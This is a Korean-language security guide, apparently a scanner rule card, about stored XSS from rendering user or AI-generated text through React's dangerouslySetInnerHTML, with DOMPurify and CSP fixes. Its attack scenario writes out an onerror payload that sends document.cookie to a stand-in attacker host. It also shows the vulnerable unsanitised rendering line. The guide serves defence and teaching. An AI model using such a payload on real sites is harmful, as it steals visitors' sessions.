본문 바로가기
문서남이 쓴 글을 정제 없이 HTML로 그려요 (XSS)

남이 쓴 글을 정제 없이 HTML로 그려요 (XSS)

사용자가 입력한 글을 dangerouslySetInnerHTML로 그대로 그리면, 그 글에 숨겨둔 스크립트가 글을 읽는 다른 사람의 브라우저에서 실행돼요.

한눈에
위험도
높음(High)
CWE
CWE-79 · 크로스사이트 스크립팅
OWASP
A03:2021
vg-react-dangerous-html · vg-llm-output-innerhtml

이게 무슨 말이냐 (쉽게)

React는 평소에 {글}이라고 쓰면 태그를 글자 그대로 보여줍니다 — 누가 <b>라고 입력하면 화면에도 <b>라고 나와요. 그게 기본 안전장치입니다.

dangerouslySetInnerHTML은 그 안전장치를 끄는 스위치예요. 이름에 dangerously가 붙은 건 농담이 아닙니다. 스위치를 켜면 <script>도, <img onerror=...>도 진짜 코드로 실행됩니다.

내가 직접 쓴 문구를 굵게 보여주려고 켜는 건 괜찮아요. 문제는 다른 사람이 입력한 값(댓글·프로필 소개·상품 설명)이나 AI가 만든 답(룰 vg-llm-output-innerhtml)이 거기로 흘러 들어갈 때입니다. 우리 검사기는 DOMPurify·sanitize(...) 같은 정제 호출이 같은 줄에 없을 때만 표시합니다.

실제로 어떻게 터지나 (시나리오)

커뮤니티에 마크다운 댓글을 붙였어요. 서식을 살리려고 이렇게 썼습니다.

<div dangerouslySetInnerHTML={{ __html: marked(comment.body) }} />

누군가 댓글 칸에 <img src=x onerror="fetch('https://evil.example/c?d='+document.cookie)"> 를 적습니다. 이미지는 깨지지만 onerror는 실행돼요. 이제 그 댓글이 보이는 페이지를 여는 모든 사람의 쿠키가 공격자에게 넘어갑니다. 저장형 XSS라 공격자는 한 번만 써두면 되고, 이후에는 방문자가 알아서 걸려요. 관리자가 그 글을 열면 관리자 세션이 넘어갑니다.

최악의 경우

나한테 해당되나? (체크)

→ 1번 + (2~5 중 하나)면 해당됩니다. 이 룰은 휴리스틱이라 리포트에는 신뢰도 점검 필요로 떠요 — 그 값이 어디서 왔는지 한 번 따라가 보세요.

어떻게 고치나 (복붙)

① 제일 쉬운 답 — 그냥 안 쓰기. 서식이 꼭 필요한 게 아니라면 React 기본 렌더가 이미 안전합니다.

- <div dangerouslySetInnerHTML={{ __html: comment.body }} />
+ <div className="whitespace-pre-wrap">{comment.body}</div>   // 태그가 글자로 보인다

② 서식이 필요하면 — 정제한 뒤에

import DOMPurify from "isomorphic-dompurify";

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(marked(comment.body)) }} />

저장할 때 서버에서 한 번 더 정제하면 더 좋습니다. 화면에서만 막으면 다른 화면(관리자 페이지·이메일 발송)에서 그대로 새요.

③ 허용 태그를 좁히기 — 굵게·링크·목록 정도면 충분합니다.

DOMPurify.sanitize(html, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "ul", "ol", "li", "p", "br", "code"],
  ALLOWED_ATTR: ["href", "target", "rel"],
});

④ 마크다운 라이브러리가 정제해 줄 거라 믿지 않기 — marked의 sanitize 옵션은 폐기됐습니다. 마크다운 변환기는 정제기가 아니라는 전제로, 출력은 항상 DOMPurify를 통과시키세요.

⑤ 방어선 하나 더 — CSP. Content-Security-Policy로 인라인 스크립트를 막으면 정제가 뚫려도 실행을 한 번 더 막습니다. 단 unsafe-inline이 들어 있으면 의미가 없어요(룰 vg-nextjs-csp-unsafe-inline).

고친 뒤 확인

  1. 01

    직접 넣어보기

    댓글·소개글 칸에 <img src=x onerror="alert(1)"> → 경고창이 안 떠야 정상. 글자로 보이거나 태그가 사라져야 합니다.

  2. 02

    이미 저장된 값 확인

    고치기 전에 들어온 악성 글은 DB에 그대로 남아 있습니다. 기존 데이터를 훑어보세요.

  3. 03

    출처 따라가기

    git grep -n "dangerouslySetInnerHTML|innerHTML" → 나온 자리마다 값이 어디서 왔는지 확인.

규제 연결

입력검증 실패라 ISMS-P 2.8.4(개발 보안 — 입력검증), PIPA 제29조 안전조치의무에 걸립니다. 저장형 XSS는 세션 탈취를 거쳐 개인정보 무단열람으로 이어지므로 사고 신고 대상이 될 수 있습니다.

출처/더 읽기: OWASP A03:2021(Injection), OWASP XSS Prevention Cheat Sheet, CWE-79, React 공식 문서(dangerouslySetInnerHTML), DOMPurify. 이 카드는 우리가 직접 작성했습니다.

문서 목록으로